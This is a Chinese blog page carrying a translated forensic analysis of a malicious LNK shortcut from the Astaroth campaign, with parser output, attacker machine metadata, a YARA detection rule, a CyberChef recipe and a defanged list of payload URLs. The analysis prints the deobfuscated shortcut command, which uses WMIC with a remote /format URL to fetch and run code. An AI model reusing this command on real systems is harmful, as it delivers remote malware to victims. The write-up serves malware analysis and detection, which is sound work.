记一次对恶意LNK文件的分析

win-lnk-parser:使用VBS完成的LNK解析器支持特殊字符 win-lnk-parser 简单的程序包可从.lnk文件(Windows快捷方式)中读取一些元数据信息,并支持特殊字符 先决条件 此软件包仅在Windows上有效,并且您必须具有以下应用程序: $ chcp /? $ cscript /? 用法 $ npm i --save win-lnk-parser const lnkParser = require ( 'win-lnk-parser' ) const fullPath = "c:\\...\\...\\example.lnk" const go = async ( ) => { const { targetPath windowStyle hotKey iconLocation description workingDir 立即下载

在这里插入图片描述

恶意LNK(快捷方式)文件常常是电子调查取证的重点。从攻击者的角度来说,一个很小容量的文件既可直接进行各种攻击,又可引入其他恶意软件;从防御者的角度来说,其内含的信息对于攻击后溯源分析有很大的用处。对于攻击者制造恶意LNK文件,MITRE ATT&CK框架将其描述为“shortcut modification”(T1023),总结如下:

快捷方式是一种引用其他文件或程序的通用方法,在系统启动或用户单击它时,就会打开或执行其他文件。攻击者可以通过快捷方式部署他们的持久性攻击工具。他们可能会创建一个新的快捷方式关联到某个恶意软件,同时把它伪装成一个合法的程序。或者攻击者也可以编辑已存在快捷方式的目标路径,这样受害者就会在不知不觉中运行恶意软件。

在2019年7月8日,微软发布的一篇博客文章,详细描述了一场名为Astaroth的恶意软件攻击活动。在这篇文章中我将就这场活动中名为certidao.htm.lnk的恶意LNK文件做一次分析,看看能从其中得到什么有用信息。你可以从Hybrid-Analysis看到它的有关信息。(SHA256: 82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a)
在这里插入图片描述

首先我们看一下文件属性:

在这里插入图片描述

从上可以看出,其中“Target”(通常是文件引用)是一段代码,一旦点击快捷方式,代码就会运行。此外,“Comment”看起来像一堆乱码。

接下来,我们使用LECmd提取这个快捷方式的内部信息:

--- Header ---
  Target created:  2010-11-21 03:24:03
  Target modified: 2010-11-21 03:24:03
  Target accessed: 2010-11-21 03:24:03

  File size: 302,592
  Flags: HasTargetIdList, HasLinkInfo, HasName, HasArguments, HasIconLocation, IsUnicode, HasExpString
  File attributes: FileAttributeArchive
  Icon index: 64
  Show window: SwShowminnoactive (Display the window as minimized without activating it.)

Name: zvvvje4d5777hiqt2369aIEFLHKnncxmvbvjhsj2567hgeet286daUFFLHrnccmxbbrh2j2667lguet986ddaUFIHJrnnmmxbihsjj466lgukk980ddWYIIHJrbmcx
Arguments:  /V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v" &&echo %x:77jhd2766=%|%ComSpec%"
Icon Location: %SystemRoot%\system32\imageres.dll

--- Link information ---
Flags: VolumeIdAndLocalba sePath

>>Volume information
  Drive type: Fixed storage media (Hard drive)
  Serial number: 086F96AF
  Label: (No label)
  Local path: C:\Windows\System32\cmd.exe

--- Target ID information (Format: Type ==> Value) ---

  Absolute path: My Computer\C:\Windows\System32\cmd.exe

  -Root folder: GUID ==> My Computer

  -Drive letter ==> C:

  -Directory ==> Windows
Short name: Windows
Modified: 2019-04-30 20:34:24
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: Windows
Created: 2009-07-14 03:20:10
Last access: 2019-04-30 20:34:24
MFT entry/sequence #: 671/1 (0x29F/0x1)

  -Directory ==> System32
Short name: System32
Modified: 2019-04-30 18:45:08
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: System32
Created: 2009-07-14 03:20:12
Last access: 2019-04-30 18:45:08
MFT entry/sequence #: 2549/1 (0x9F5/0x1)

  -File ==> cmd.exe
Short name: cmd.exe
Modified: 2010-11-21 03:24:04
Extension block count: 1

--------- Block 0 (Beef0004) ---------
Long name: cmd.exe
Created: 2010-11-21 03:24:04
Last access: 2010-11-21 03:24:04
MFT entry/sequence #: 20227/1 (0x4F03/0x1)

--- End Target ID information ---

--- Extra blocks information ---

>> Environment variable data block
   Environment variables: %ComSpec%

>> Special folder data block
   Special Folder ID: 37

>> Known folder data block
   Known folder GUID: 1ac14e77-02e7-4e5d-b744-2eb1ae5198b7 ==> System32

>> Property store data block (Format: GUID\ID Description ==> Value)
   46588ae2-4cbc-4338-bbfc-139326986dce\4 SID ==> S-1-5-21-814163198-2266970693-1875007973-1002

>> Tracker databa se block
   Machine ID: dedicado-web
   MAC Address: 00:26:b9:fd:e1:82
   MAC Vendor: DELL
   Creation: 2019-03-21 04:28:56

   Volume Droid: 8c78ff20-8b31-44de-bbba-eabca30a81ea
   Volume Droid Birth: 8c78ff20-8b31-44de-bbba-eabca30a81ea
   File Droid: d73dcd41-4b91-11e9-8dc8-0026b9fde182
   File Droid birth: d73dcd41-4b91-11e9-8dc8-0026b9fde182

从上面的“海量”输出中,我们可以看到不少有用信息。其中Arguments选项中明显是混淆后的恶意代码,我们把其中的77jhd2766删除,可得到如下命令:

Arguments:  /V /C "set x=C:\\Windows\\system32\\wbem\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv" &&echo %x:=%|%ComSpec%"

其中利用WMIC.exe去执行存在谷歌服务器上的文件。

硬件信息

除此以上攻击者想要执行的攻击命令,这个LNK文件还包含了攻击者机器的物理信息:

序列号:086F96AF

机器ID:dedicado-web

MAC地址:00:26:b9:fd:e1:82

MAC供应商:DELL

在以上攻击者所使用机器的硬件信息中,除了机器的厂商和MAC地址,还有一个值得关注的NetBios名称dedicado-web。

我们再到谷歌中搜索“dedicado-web”,排除掉无关信息后,我发现了它和巴西地区知名的托管供应商OVH有联系。这也和Astaroth攻击活动主要针对巴西地区这一点相吻合。

在这里插入图片描述

其他信息

让我们再把目光转向其他数据。利用LNK文件中其他的数据项,配合我刚学的Yara规则(YARA是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的开源工具,使用YARA可以基于文本或二进制模式创建恶意软件家族描述信息,当然也可以是其他匹配信息。 ——Freebuf),我可以尝试确定这些“软件标记”是否在以前的恶意软件中出现过。Yara规则如下:

rule Astaroth
{
    meta:
        author = "@mattnotmax"
        date = "2019-07-15"
        description = "LNK file with a unique MAC address or NETBIOS name in relation to a Astaroth campaign"
        reference = "https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/"
    sample = "82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a"

    strings:
        $mac = {00 26 B9 FD E1 82}
        $netbios = "dedicado-web" fullword ascii

    condition:
        uint16(0) == 0x4c and ($mac or $netbios)
}

通过在Hybrid-Analysis(穷人版VirusTotal)上进行搜索,我找到了22个结果,其中21个共享了样本,上传时间为2019年4月24日至2019年6月11日。
在这里插入图片描述

其中一些标记为#banload或#apt,因此可能不相关。让我们再次使用LECmd处理它们,看看最后的结果:

在这里插入图片描述

可从上图中看到的,这些恶意文件的构成及其相似,而且其中命令代码混淆方式也几乎一样。我再利用CyberChef(开源数据分析工具),配合正则表达式,对得到的结果进行过滤,从数据中提取相关url:

[{"op":"Fork","args":["\\n","\\n",true]},{"op":"Register","args":["(?<=echo %x:)(.*)(?=\\=)",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"[]"},"",true,false,true,false]},{"op":"Extract URLs","args":[false]},{"op":"Defang URL","args":[true,true,false,"Everything"]},{"op":"Remove whitespace","args":[true,true,true,true,true,false]}]

结果如下:

hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025040xiuj6rl9d
hxxp://storage[.]googleapis[.]com/midgoldem/09/v[.]txt#025070xbhj6luk0
hxxp://storage[.]googleapis[.]com/xmoabx/04/v[.]txt#025051IJrmxxmir
hxxp://e8aUHrmmr[.]intelcore-i1[.]website:25/9/?13825xmuj8luk
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025038Knmbj2257
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025050nmble0aUH
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025010bvrhj267l
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060xjuf7hrl3
hxxps://storage[.]googleapis[.]com/ultramaker/09/v[.]txt#025060aIUIHKrnc
hxxp://storage[.]googleapis[.]com/kodesca/08/v[.]txt#025028jd3ISnxvj
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025014q29ISqczv
hxxps://storage[.]googleapis[.]com/ultramaker/08/v[.]txt#025018ef7hil69I
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#025060jsf7il36h
hxxp://storage[.]googleapis[.]com/teslaasth/09/v[.]txt#025050ELKqxmvjd
hxxps://storage[.]googleapis[.]com/awsdx/09/v[.]txt#0250800UHbcbrs4
hxxp://storage[.]googleapis[.]com/kodesca/09/v[.]txt#025091e6UHrcxvs
hxxp://q39ESqczv[.]intelcore-i5[.]site:25020/09/?138025020qixvj22h
hxxps://storage[.]googleapis[.]com/ultramaker/06/v[.]txt#0250906uk8dWUIJ
hxxp://storage[.]googleapis[.]com/kodesca/04/v[.]txt#025058il39ELvmd
hxxp://storage[.]googleapis[.]com/kodesca/06/v[.]txt#025022e986IJrmc
hxxp://storage[.]googleapis[.]com/midgoldem/06/v[.]txt#025055rmxvs26ge

结尾

以上所有分析,只是我很短时间内的成果,你可以编写更完善的Yara规则,抓取到更复杂的,更多的恶意软件。此外,我们也可以看到,LNK文件中的多项元数据的也能极大帮助我们定位攻击者。

如果你有任何看法想和我交流,可以通过matt@bitofhex.com联系我。感谢你的阅读!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场:https://nosec.org/home/detail/2807.html
来源:https://bitofhex.com/2019/07/15/deriving-intelligence-from-lnk-files/

Python-LnkParse是Windows快捷文件LNK解析器 LnkParse是Windows快捷文件 (LNK) 解析器 立即下载

相关推荐

winlnkparser:Windows LNK文件解析器

winlnkparser Windows LNK文件解析器

Win8.1系统所有的路径都无法更改文件夹名称

平台:win8.1 问题:所有的路径,无论是桌面还是分区还是文件夹内,可以新建和删除文件夹,但不能给文件夹改名,提示“文件或文件夹不存在” 分析:安装了几次photoshop后莫名其妙出现这个问题,但用管理员权限打开TC后,在TC下可以正常编辑文件夹名称。由此怀疑是权限出错。 解决方法: 尝试1,右键单击要更改权限的文件夹,选择属性—安全—高级—所有者—更改 ,高级—立即查找,把“Eve...

weixin_30319097的博客 1692

lnkparser:实验性BASH脚本,可解析Windows快捷方式(LNK)文件中找到的数据结构的内容

LNK解析器 实验性BASH脚本,用于解析Windows快捷方式(LNK)文件中找到的数据结构的内容。 作为主要使用Linux来剖析文件和调查数据的法医分析师,我发现Linux上缺少可用来解析用户活动的一个非常常见工件的工具:LNK快捷方式文件。 为了解决这个问题,我决定创建此BASH脚本,该脚本以十六进制级别工作,以解析和解析LNK文件的数据结构。 我对该脚本的设计目标之一是确保该脚本可以在大多数默认Linux发行版上运行,这意味着您不必过度依赖预先安装的独特工具。 为此,脚本主要利用“ xxd”工具来查找和划分LNK数据结构。 您可以查看下面的脚本,以确切了解该数据的存储方式以及如何使用标准命令(如awk和'sed')对其进行解析。 LNK文件(在大多数情况下)由Microsoft进行了充分的文档编制,您可以找到此文档。 为了测试此脚本的功能,我使用了200多种不同的LNK文件,

【转载】cmd.exe无法打开解决办法

可能是安装或配置 Anaconda 时在注册Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Command Processor 这个路径下写了一个 AutoRun 项,AutoRun 的值类型是字符串,这个字符串是每次启动 CMD.exe 时都会自动运行的指令,卸载了 Anaconda 之后这个指令就不能正确运行了,所以每次启动 CMD.exe 都会发生错误。今天,为了腾出C盘空间确实将anaconda卸载了,按照上面的操作方式确实解决了!

songhuangong123的博客 1301

手把手教你用Docker快速部署ZLMediaKit流媒体服务器(含WebRTC配置)

本文详细介绍了如何使用Docker快速部署ZLMediaKit流媒体服务器,并配置WebRTC功能。通过容器化部署,实现环境一致性、资源隔离和快速扩展,同时提供WebRTC专项配置、多协议推拉流实战测试及生产环境优化建议,帮助开发者高效搭建企业级流媒体平台。

agile9scrum的博客 202

佳能C3025打印机扫描方法

佳能C3025彩色打印机扫描方法 步骤一、如果打印机处于休眠状态,可按图中标记的按钮唤醒打印机; 然后点击屏幕上的【扫描】 步骤二、扫描类型选择【文件】 步骤三、点击屏幕上的【地址簿】 步骤四、此时屏幕胡看到名字,如果看不到自己的名字,可往下滑动直到看到自己的名字,然后点击自己的名字,再点击右下角的【应用】 步骤五、点击【发送设置】,可看到文件格式为PDF,点击可以选择JPEG的图片格式。...

weixin_46019317的博客 2万+

Windows10下修改BAT文件的默认应用程序

BAT文件是Windows操作系统的批处理文件,右键菜单中没有打开方式可选择,也不方便修改默认打开方式。下面介绍一种变通方法。 一、打开注册表,进行处理 WINDOWS键+R组合键打开运行输入框,输入: regedit HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion ...

paul50060049的专栏 8606

使用Metasploit生成木马控制Windows系统

使用Metasploit生成木马控制Windows系统

weixin_56956399的博客 2508

win 7 新建文件夹 new folder Item Not Found 解决办法

原因 Update KB980408 卸载不能解决 复制如下文件到txt文档 保存为.reg 双击执行 重启(针对32bit版本) Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Folder...

weixin_33766805的博客 624

ArcGIS中利用DEM数据生成地形图既视感的等高线;利用掩膜进行等高线注记;DEM的可视化表达总结

文章目录前言一、效果图展示二、地形(DEM)可视化表达1.一维可视化2.二维可视化2.三维可视化二、ArcGIS中利用DEM数据制作等高线2.三维可视化2.三维可视化2.三维可视化2.三维可视化二、ArcGIS中利用DEM数据制作等高线2.三维可视化2.三维可视化2.三维可视化总结 前言 最近老师布置作业:DEM的可视化表达。想做一个等高线地形图那样、看起来高级一点的等高线,可是我看网上大多数教程都只展示了【等值线】工具,做出来效果都一般。我自认为自己做出来的效果还可以,把步骤分享给大家。 一、

pink_pig__的博客 5万+

广工计组实验f2一位全加器

一位全加器实验

weixin_63692154的博客 2847

2022钓鱼利器,LNK文件攻击为何广受青睐

恶意LNK文件活动增多

shandongjiushen的博客 1844

2023年GESP12月认证C++五级真题解析

例如,如果a=4,那么4是最⼩的幸运数,而1不是,但我们可以连续对1做3次+1操作,使其变为4,所以我们可以说,1幸运化后的结果是 4。【题目大意】给一个完全平方数的标准,推导出哪些是超级幸运数,然后判断N个数字中,哪些是超级幸运数,是的输出“lucky”,不是的输出离该数字最近的比它大的数字。前一个数字,下标是j的数字是偶数,后面的数字下标是j+1的是奇数,按照要求,偶数在奇数的后面,要交换。A函数时间复杂度是O(n/2),B函数算法是O(sqrt(n)),大部分情况后者是优的,值更小。

lan_in的博客 1007

[译文] 恶意代码分析:2.LNK文件伪装成证书传播RokRAT恶意软件(含无文件攻击)

前文介绍了文本编辑器notepad++如何被感染的,通过恶意链接引导用户下载恶意的编辑器,并分析其恶意行为。这篇文章将翻译一篇LNK文件发起的恶意攻击,主要是LNK文件伪装成证书执行RokRAT恶意软件,并利用Powershell命令发起无文件攻击和执行相关行为。基础性技术文章,希望您喜欢!

杨秀璋的专栏 1419

回归预测 | MATLAB实现MPR多元多项式回归

回归预测 | MATLAB实现MPR多元多项式回归

机器学习之心的博客,关注并私信文章链接,获取对应文章源码和数据。 1645

2023年全国职业院校技能大赛 网络系统管理服务模块 Linux部分讲解

网络系统管理,Linux,服务部署,Chinaskills,2023国赛

weixin_62926639的博客 1549

LNK 类恶意软件兴起

LNK 文件是 Windows 平台下的快捷方式,是打开文件、文件夹或者应用程序的“指针”。LNK 文件为 Shell Link 二进制文件格式,其中包含用于访问另一个数据对象的信息。LNK 文件可以使用标准方式通过右键单击手动创建,也可以使用应用程序自动创建。许多工具都可以构建 LNK 文件,甚至包括恶意目的的工具lnkbombs。2022 年第二季度,McAfee 发现 LNK 类恶意软件有所增长。

白帽黑客鹏哥的博客 1443

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

从恶意程序对LNK格式的利用方法看防护趋势

LNK文件简介#LNK在恶意程序中的利用方式*1曾经的LNK漏洞*2隐藏链接真实对象*3辅助恶意程序运行#博弈趋势利用移动存储设备进行传播的恶意程序与杀软博弈趋势分析

KD的疯狂实验室 2178

Probability and Statistics - 4th edition

Probability and Statistics - 4th edition

TMS_WebGMaps_1.9.8.0_Full_Source

TMS_WebGMaps_1.9.8.0_Full_Source 全源码 delphi cbuilder

LNK、ISO 恶意载体分析:伪装快捷方式、镜像文件,还原加载恶意程序链路

在宏病毒查杀门槛持续抬高、Office 宏默认禁用的大环境下,LNK 快捷方式 + ISO 镜像组合已经成为勒索团伙、Banking Trojan、APT 组织最主流的初始投递载体之一,IcedID、Qakbot、Bumblebee、海莲花、Nobelium 等大量威胁团伙长期使用这套投递链路进行钓鱼攻击。攻击者的核心思路非常巧妙:ISO 镜像挂载之后,内部文件会脱离 Mark-of-the-Web(MotW 网络标记),绕过一部分基于 MotW 的安全拦截;

韩束一叶子 246

第20章 恶意软件(20.5)——Stuxnet 的传播方式:LNK 漏洞与 USB 蠕虫的进化【读书笔记】

本文深入解析了Stuxnet病毒通过USB和LNK漏洞传播的技术细节。Stuxnet利用Windows Shell处理快捷方式图标时的漏洞(CVE-2010-2568),在用户仅浏览U盘目录时就自动加载恶意DLL执行代码,突破了物理隔离和禁用AutoRun的防护措施。攻击流程包括感染联网主机、复制到U盘、利用LNK漏洞自动传播,实现了近乎零交互的渗透。这种组合攻击方式对工控系统等隔离网络构成了严重威胁。

分享 Windows 系统部署、镜像封装、终端管理、故障排查与运维自动化实践,涵盖 Sysinternals、PowerShell 和 AI 工具应用。记录真实问题、探索过程与解决方法,也分享 AI 时代的学习心得和实践经验,让技术更易理解 3万+

Windows 攻击中使用的武器化 PDF 和 LNK 文件

这种隐秘的方式凸显了该组织先进的技术以及逃避传统安全控制的能力。

网络研究观 1221
上一篇: ProFTPD远程命令执行漏洞或影响100多万台服务器
下一篇: 哈萨克斯坦拦截HTTPS流量事件的详细分析
NOSEC2019
博客等级 码龄8年 50粉丝 5原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值